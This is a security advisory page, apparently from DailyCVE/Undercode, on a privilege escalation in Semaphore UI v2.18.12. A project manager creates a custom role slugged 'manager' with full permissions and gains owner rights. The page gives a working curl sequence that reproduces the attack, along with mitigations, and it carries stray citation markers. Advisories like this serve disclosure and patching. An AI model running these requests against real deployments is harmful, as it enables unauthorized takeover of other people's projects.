Semaphore UI, Privilege Escalation, CVE-2026-XXXX (Critical) -DC-Sep2026-2165

Listen to this Post

Semaphore UI is an open-source project management and deployment tool. A critical privilege escalation vulnerability exists in how the application resolves user permissions for project members.
The vulnerability resides in the `ProjectMiddleware` component. When a project member makes an API request, the middleware looks up the member’s assigned role by its slug (e.g., “manager”, “owner”). It then queries the database for a role row matching that slug using the `GetProjectOrGlobalRoleBySlug` function. Critically, this function accepts a `projectID` parameter but ignores it in the SQL query, running `select from role where slug=?` without any project-scope restriction【7†L59-L62】. This means a role created in one project with a colliding slug can affect permission resolution for members in other projects.
A member with the built-in `manager` role can create a custom project role via POST /api/project/{id}/roles. This route is gated only by the `CanManageProjectResources` permission, which the `manager` role already holds【7†L294-L354】. The role-creation validator does not reserve built-in slug names (owner, manager, task_runner, guest) and imposes no ceiling on permission bits a caller may grant【7†L10-L15】.
An attacker with the `manager` role creates a custom role with the slug `manager` and sets the permission bitmask to 15—the full owner bitmask including the owner-only bits `CanUpdateProject` and `CanManageProjectUsers` that `manager` does not normally hold. On the next request, the middleware’s slug lookup returns this attacker-created row, and the manager’s effective permissions become owner-equivalent. The result is a complete privilege escalation: a project manager can add or remove members, change project settings, delete the project, or demote the legitimate owner【7†L49-L53】.
The vulnerability affects `semaphoreui/semaphore` v2.18.12 and the `develop` branch as of 2026-06-09. The official Docker image ships with the PRO feature (custom project roles) enabled by default. The issue was confirmed live-exploitable on v2.18.12 (commit 8a4dcf0)【7†L4-L5】.

DailyCVE Form:

Platform: semaphoreui/semaphore
Version: v2.18.12
Vulnerability: Privilege Escalation
Severity: Critical
date: 2026-06-09

Prediction: 2026-06-30

What Undercode Say:

Confirm baseline permissions (manager: permissions 5)
curl -X GET "http://target/api/project/42/role" \
-H "Cookie: semaphore=<manager-session>"
Expected: {"role":"manager","permissions":5}
Verify owner-only endpoint is denied
curl -X PUT "http://target/api/project/42" \
-H "Cookie: semaphore=<manager-session>" \
-H "Content-Type: application/json" \
-d '{"id":42,"name":"test"}'
Expected: HTTP/1.1 403 Forbidden
Create custom role with colliding slug "manager" and full bitmask 15
curl -X POST "http://target/api/project/42/roles" \
-H "Cookie: semaphore=<manager-session>" \
-H "Content-Type: application/json" \
-d '{"slug":"manager","name":"pwn","permissions":15}'
Expected: HTTP/1.1 201 Created
Now manager has owner-equivalent permissions
curl -X GET "http://target/api/project/42/role" \
-H "Cookie: semaphore=<manager-session>"
Returns: {"role":"manager","permissions":15}
Owner-only actions now succeed
curl -X PUT "http://target/api/project/42" \
-H "Cookie: semaphore=<manager-session>" \
-H "Content-Type: application/json" \
-d '{"id":42,"name":"owned","alert":false}'
Expected: HTTP/1.1 204 No Content
Add a new project member
curl -X POST "http://target/api/project/42/users" \
-H "Cookie: semaphore=<manager-session>" \
-H "Content-Type: application/json" \
-d '{"user_id":99,"role":"task_runner"}'
Expected: HTTP/1.1 204 No Content

Exploit: (Educational Purposes!)

The exploit leverages three weaknesses chained together:

  1. Project-scope ignore in role lookup – `GetProjectOrGlobalRoleBySlug(projectID, slug)` accepts a project ID but executes select from role where slug=?, ignoring project scope entirely【7†L59-L62】.
  2. No reserved-slug validation – `ValidateRole` only checks that the role name is non-empty; it does not reserve built-in slugs (owner, manager, task_runner, guest)【7†L10-L15】.
  3. No permission ceiling – The validator imposes no maximum on the permission bits a caller can grant, allowing a manager to assign the full owner bitmask 15.
    The attack requires one authenticated POST request. The manager creates a role with `slug: “manager”` and permissions: 15. The middleware on subsequent requests resolves the manager’s permissions to the database row value, effectively granting owner-level access.

Protection:

  • Upgrade to a patched version once available.
  • Disable custom project roles if using a community build (the role-creation endpoint returns 404).
  • Apply a temporary workaround by adding a reserved-slug validation in `db/Role.go` to reject creation of roles with built-in slugs.
  • Add project-scope filtering to `GetProjectOrGlobalRoleBySlug` to ensure role lookups are scoped to the correct project.
  • Enforce a permission ceiling in the role-creation validator to prevent non-owner roles from granting owner-only bits.

Impact:

  • Full administrative control of the project from a non-owner role.
  • Ability to change project settings, delete the project, and add or remove members.
  • Removal or demotion of the legitimate project owner.
  • Reachable by the built-in `manager` role with one authenticated request.
  • Not reachable by task_runner, guest, or unauthenticated callers【7†L4-L5】.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top